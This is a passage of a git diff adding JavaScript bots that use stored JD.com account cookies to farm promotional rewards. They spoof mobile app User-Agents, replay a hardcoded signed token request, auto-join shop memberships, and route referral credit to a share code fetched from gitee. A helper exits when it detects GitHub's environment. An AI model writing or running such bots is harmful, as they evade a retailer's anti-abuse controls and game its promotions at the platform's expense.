"+$.openInfo[i]['venderId']) + await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) + await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) + await $.wait(1000) + } + } + console.log("关注店铺: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) + await $.wait(1000) + console.log("流览会场: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) + } + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityShopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + break; + case 'fashion/recruit/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log("你的助力码 -> "+ownCode) + } + $.activityContent = data.data; + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case 'fashion/recruit/saveFirst': + if(data.result){ + console.log("获得抽奖次数") + } + break; + case 'fashion/recruit/saveTask': + console.log(data) + break; + case 'fashion/recruit/getInitInfo': + console.log(data) + break; + case 'fashion/recruit/initOpenCard': + $.openInfo = data.data.openInfo + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_dapai.js b/backUp/jd_lzdz1_dapai.js new file mode 100644 index 0000000..b63e630 --- /dev/null +++ b/backUp/jd_lzdz1_dapai.js @@ -0,0 +1,586 @@ +/* +大牌强联合 好物提前购 + +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dz2021101420000sjleowq&shareUuid=d259bceb218e40af9490693e8f48a370 +*/ +const $ = new Env("大牌强联合 好物提前购"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_dapai.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'd259bceb218e40af9490693e8f48a370', + ] + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dz2021101420000sjleowq' + $.activityShopId = '1000221763' + $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await marry(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function marry() { + $.log('那就开始吧。') + $.token = 